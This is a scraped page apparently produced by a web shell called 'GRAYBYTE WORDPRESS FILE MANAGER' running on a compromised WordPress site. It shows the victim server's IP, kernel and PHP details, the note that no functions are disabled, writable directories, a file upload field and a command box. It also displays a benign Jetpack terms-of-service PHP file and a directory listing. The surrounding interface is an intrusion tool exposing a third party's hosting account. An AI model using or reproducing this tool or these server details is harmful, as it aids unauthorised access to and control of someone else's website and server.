GRAYBYTE WORDPRESS FILE MANAGER5913

Server IP : 162.213.255.40 / Your IP : 216.73.216.121
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/wpcom-tos/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/wpcom-tos//wpcom-tos.php
<?php
/**
 * Handles acceptance of WordPress.com Terms of Service for sites connected to WP.com.
 *
 * This is auto-loaded as of Jetpack v8.3 for WP.com connected-sites only.
 *
 * @package automattic/jetpack
 */

namespace Automattic\Jetpack\TOS;

use Automattic\Jetpack\Connection\Client;

/**
 * Makes a request to the WP.com legal endpoint to mark the Terms of Service as accepted.
 */
function accept_tos() {
	check_ajax_referer( 'wp_ajax_action', '_nonce' );

	$response = Client::wpcom_json_api_request_as_user(
		'/legal',
		'2',
		array(
			'method' => 'POST',
		),
		array(
			'action' => 'accept_tos',
		)
	);

	if ( is_wp_error( $response ) ) {
		wp_send_json_error( array( 'message' => __( 'Could not accept the Terms of Service. Please try again later.', 'jetpack' ) ) );
		wp_die();
	}

	wp_send_json_success( $response );

	wp_die();
}

add_action( 'wp_ajax_jetpack_accept_tos', __NAMESPACE__ . '\accept_tos' );

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
wpcom-tos.php
0.906 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF